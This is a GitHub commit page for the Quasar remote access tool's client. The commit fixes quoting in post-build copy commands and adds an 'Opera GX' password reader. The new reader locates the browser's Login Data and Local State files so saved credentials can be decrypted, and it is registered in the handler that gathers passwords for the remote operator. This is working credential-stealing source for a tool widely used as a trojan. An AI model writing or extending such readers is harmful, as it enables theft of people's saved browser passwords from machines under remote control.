Skip to content

Commit

Permalink
Fix copy command & Opera GX Password Recovery
Browse files Browse the repository at this point in the history
  • Loading branch information
xIvan0ff authored and MaxXor committed Aug 26, 2020
1 parent 9520cd7 commit c4c40e6
Show file tree
Hide file tree
Showing 4 changed files with 36 additions and 5 deletions.
4 changes: 2 additions & 2 deletions Quasar.Client/ILRepack.targets
Original file line number Diff line number Diff line change
Expand Up @@ -18,9 +18,9 @@
OutputFile="$(TargetPath)"/>
</Target>
<Target Name="CopyWindows" AfterTargets="PostBuildEvent" Condition="'$(OS)' == 'Windows_NT' ">
<Exec Command="copy $(TargetPath) $(TargetDir)client.bin /Y" />
<Exec Command='copy "$(TargetPath)" "$(TargetDir)client.bin" /Y' />
</Target>
<Target Name="CopyUnix" AfterTargets="PostBuildEvent" Condition="'$(OS)' != 'Windows_NT' ">
<Exec Command="cp $(TargetPath) $(TargetDir)client.bin" />
<Exec Command='cp "$(TargetPath)" "$(TargetDir)client.bin"' />
</Target>
</Project>
5 changes: 3 additions & 2 deletions Quasar.Client/Messages/PasswordRecoveryHandler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -32,8 +32,9 @@ private void Execute(ISender client, GetPasswords message)

var passReaders = new IAccountReader[]
{
new ChromePassReader(),
new OperaPassReader(),
new ChromePassReader(),
new OperaPassReader(),
new OperaGXPassReader(),
new YandexPassReader(),
new FirefoxPassReader(),
new InternetExplorerPassReader(),
Expand Down
30 changes: 30 additions & 0 deletions Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;

namespace Quasar.Client.Recovery.Browsers
{
public class OperaGXPassReader : ChromiumBase
{
/// <inheritdoc />
public override string ApplicationName => "Opera GX";

/// <inheritdoc />
public override IEnumerable<RecoveredAccount> ReadAccounts()
{
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera GX Stable\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera GX Stable\\Local State");
return ReadAccounts(filePath, localStatePath);
}
catch (Exception)
{
return new List<RecoveredAccount>();
}
}
}
}
2 changes: 1 addition & 1 deletion Quasar.Client/Recovery/Browsers/OperaPassReader.cs
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ public override IEnumerable<RecoveredAccount> ReadAccounts()
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera Stable\\Login Data");
"Opera Software\\Opera Stable\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"Opera Software\\Opera Stable\\Local State");
return ReadAccounts(filePath, localStatePath);
Expand Down

0 comments on commit c4c40e6

Please sign in to comment.